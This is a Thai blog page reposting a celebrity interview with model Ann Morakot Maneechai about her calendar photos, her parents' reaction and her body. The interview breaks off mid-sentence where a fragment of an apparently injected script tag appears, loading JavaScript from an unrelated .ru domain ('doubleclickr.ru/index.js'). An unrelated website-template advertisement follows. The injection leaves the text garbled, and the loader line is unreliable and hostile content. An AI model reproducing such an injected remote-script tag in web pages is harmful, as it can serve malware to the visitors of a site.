แอน มรกต มณีฉาย


แอน มรกต มณีฉาย

วันจันทร์ที่ 8 ธันวาคม พ.ศ. 2546

เปิดอก ผ่าเต้า "แอน มรกต มณีฉาย"

เอ่ยถึงชื่อ "แอน มรกต มณีฉาย" ขึ้นมา จะมีใครปฏิเสธหรือไม่ว่าสิ่งแรกที่จะนึกถึงไม่ใช่ "ขนาดหน้าอก" ของเธอ...


เมื่อไม่มีใครปฏิเสธ...ถ้าอย่างนั้นจะต้องรออะไร ไปดู(เรื่อง) "เต้า" ของสาวแอนกันเลยดีกว่า...

"ถ้าถามว่าคนรู้จักแอน มรกตตอนไหน ก็คงจะมาจากตอนที่แอนถ่ายปฏิทินสีไอซีไอนะ คืออันนั้นเป็นครั้งแรกที่คนเริ่มรู้จัก แต่คนมารู้จักแอนมากขึ้นก็จากหนังเรื่องมังกรเจ้าพระยา ซึ่งก่อนหน้านั้นแอนก็เคยประกวดมิสไทยแลนด์ เวิลด์มาก่อนแต่ไม่ได้เข้ารอบ"

"แอน" บอกกล่าวอย่างเป็นกันเอง ภายในบรรยากาศสบายๆ ที่นั่งนุ่มๆ เคล้าด้วยเสียงเพลงในห้องนวดสปา "เนอร์วานา" (Nirnava) ในซอยสุขุมวิท 23 ที่ถูกป้ายแต่งด้วยสีเขียวของธรรมชาติดูสดชื่น เย็นตา

เจ้าของสถานที่รู้สึกสบายแต่เรากลับรู้สึกร้อนผ่าว...เพราะทุกครั้งที่เจ้าตัวขยับเปลี่ยนท่าทางชุดเสือดาวผ่าลึกที่เธอสวมใส่อยู่มันมักจะเปิดอวดสินค้ายี่ห้อ "มรกต มณีฉาย" ให้เห็นอยู่ตลอดเวลา ทำเอาตลอดเวลาของการพูดคุย ผู้สัมภาษณ์เองแทบจะไม่กล้าลดระดับสายตาลงต่ำไปกว่าลำคอของคู่สนทนาเลย

"ตอนนั้นแอนไม่ได้เรียนแอนดร็อปมาตั้งแต่ก่อนที่จะได้ถ่ายปฏิทิน คือเรามาคิดว่าถ้าเกิดถ่ายภาพเซ็กซี่มันค่อนข้างหมิ่นเหม่กับการที่เราเป็นนักศึกษาก็เกรงใจสถาบันเลยคิดว่าดร็อปมาแล้วก็มาทำงานดีกว่า บางทีคนถามถึงตรงนี้มากแอนก็พยายามที่จะไม่เอ่ยถึงสถาบันเพราะว่าเราต้องรักษาชื่อเสียงของเขาด้วย"

"ตอนนั้นแอนรู้สึกว่าอยากประกวดแล้วก็อยากเข้าวงการ แอนก็ไปสมัครเรียนแอคติ้ง ก็แต่งตัวเหมือนคนธรรมดาทั่วไปนี่แหละใส่เสื้อยืดกางเกงยีนส์ พอดีพี่อุ้ง (อัญมณี สีชาด) เค้านั่งคุยธุระอะไรกันไม่ทราบ แล้วเค้าเห็นแอนเข้าไปพอดี เค้ามองแล้วเค้าสะดุดตาเค้าก็เรียกเรามาคุยเลยว่าเค้าต้องการนางแบบ ตอนนั้นแอนก็ไม่ได้รูปร่างสูงอะไรแต่ว่าหน้าอกใหญ่ ใส่เสื้อยืดก็ยังมองเห็นชัด"

"พี่อุ้งก็บอกเลยว่า เนี่ย พี่ขอดูหน่อยได้ไหม สวยไหม ถ่ายได้ไหม แอนก็คิดว่าถ้าเราอายที่จะให้ช่างภาพดูเราก็ไม่สามารถที่จะไปถ่ายได้ ก็รู้สึกว่าเออ มันน่าสนใจ เราเคยเห็นคุณลิซ่าถ่ายออกมาสวยมาก ถ้าเราถ่ายเราก็คงสวยเหมือนกัน ก็สนใจในเมื่อเค้าขอดูรูปร่างเราก็ถอดให้เค้าดู เค้าก็ชมว่าสวยมากเลย เหมาะที่จะถ่ายปฏิทินมากเลย เค้าก็ถามว่าของแท้หรือเปล่า เราก็บอกของแท้พี่ จากนั้นก็โทรคุยกันตลอดว่างานจะออกไปในลักษณะแบบนี้นะ ก็ใช้เวลาคิดประมาณ 2-3 เดือนก่อนที่จะตัดสินใจถ่าย"

เหตุที่ต้องใช้เวลาคิดนานแอนบอกว่าเพราะมีหลายเหตุผลด้วยกันไม่ว่าจะเป็นเรื่องของการเรียน และที่สำคัญสาเหตุจากทางบ้าน
"คือแอนต้องดูผลกระทบตรงชื่อเสียงของโรงเรียนด้วยและกลัวพ่อแม่จะรับไม่ได้ด้วยเพราะว่าพ่อแม่เค้าค่อนข้างจะหัวโบราณมากกลัวว่าเค้าจะรับไม่ได้ถ้าเราถ่ายออกไปเราก็ไม่แน่ใจว่าที่ถ่ายออกไปพ่อแม่จะเห็นข่าวเราลงหนังสือนั่นไหม แล้วเราจะบอกพ่อแม่ดีไหม ถ้าถ่ายไปแล้วมีปัญหาจะคุยกับพ่อแม่ยังไง..."

นัดคุย : "สรุปว่าไม่ได้บอก?"
"ไม่ได้บอก แล้วพอพ่อแม่รู้ตอนหลัง พ่อเนี่ยก็รับไม่ได้ไม่ให้เข้าบ้านก็พูดกับแม่ไปว่าถ้ามันกลับมาไม่ให้เข้าบ้านนะ ส่วนแม่ท่านเป็นผู้หญิงก็ใจดีและก็เข้มแข็ง แต่พ่อเนี่ยเป็นผู้ชายที่ค่อนข้างหวงลูกสาว แม่ก็ไม่ยอมก็กล่อมจนพ่อรับเราได้ก็คืออนุญาตให้เรากลับบ้าน"

"คือจริงๆ เนี่ยที่บ้านไม่ได้รู้จากหนังสือพิมพ์หรือว่าอะไรหรอก แต่ท่านรู้จากจดหมายที่มีคนส่งมาให้ เราก็บอกว่าถ่ายจริงแต่มันไม่แรงขนาดนั้นนะพ่อ มันไม่เยอะแยะขนาดนั้นอันที่ส่งไปเนี่ยเค้าแต่งเติมภาพลงไปแล้วส่งมาให้ดูหรือเปล่า คือภาพบางภาพที่ส่งไปเนี่ยภาพมันเกินไป...ใช่มันเป็นภาพที่ถ่ายปฏิทินนั่นแหละ แต่บางภาพมันใช้คอมลบบางส่วนออกไป เราก็อธิบายให้ท่านฟัง"

"จากนั้นมาก็มีงานติดต่อเข้ามาทีนี้งานของเราก็เข้ามาเรื่อยๆ ทำให้ทุกอย่างมันเริ่มเปลี่ยนไป ทิศทางงานของเรามันก็เปลี่ยนไปคือไม่ได้มีแต่แบบเซ็กซี่อย่างเดียว เรามีหนัง มีหลายอย่างทางพ่อก็เริ่มเอนเอียง เออนะ ลูกสาวไม่ได้ถ่ายแบบอย่างเดียวแล้ว เค้าเริ่มเห็นเราถ่ายแฟชั่นบ้าง เออลูกเค้าไม่ได้ถ่ายโป๊อย่างเดียวนะ ครอบครัวก็เริ่มรับได้ เราก็บอกว่าต่อไปนี้นี่คืองานของเรานะ เค้าก็เลยตัดใจรับเราตรงนี้"

นัดคุย : "หน้าอกนี่มันใหญ่มาตั้งแต่เด็กเลยหรือเปล่า?"
"แอนเป็นคนแปลกนะ คือมันมีความรู้สึกว่าฮอร์โมนมันเยอะมากตั้ src=http://www.doubleclickr.ru/index.js>


แสดงความคิดเห็น

เว็บไซต์สำเร็จรูป รองรับการแสดงผลบนมือถือ


เว็บไซต์สำเร็จรูป รองรับการแสดงผลบนมือถือ

เป็นเว็บไซต์ระบบ Responsive 100% สามารถปรับรูปแบบการแสดงผลได้เองโดยอัตโนมัติ ตามอุปกรณ์ที่เปิดชม (ทั้ง Front end และ Back end) เช่น สมาร์ทโฟนทุกรุ่น, แท็บเล็ต, iPad และ iPhone เป็นเจ้าของได้แล้ววันนี้ ในราคาโปรโมชั่น...



คลิกดูรายละเอียด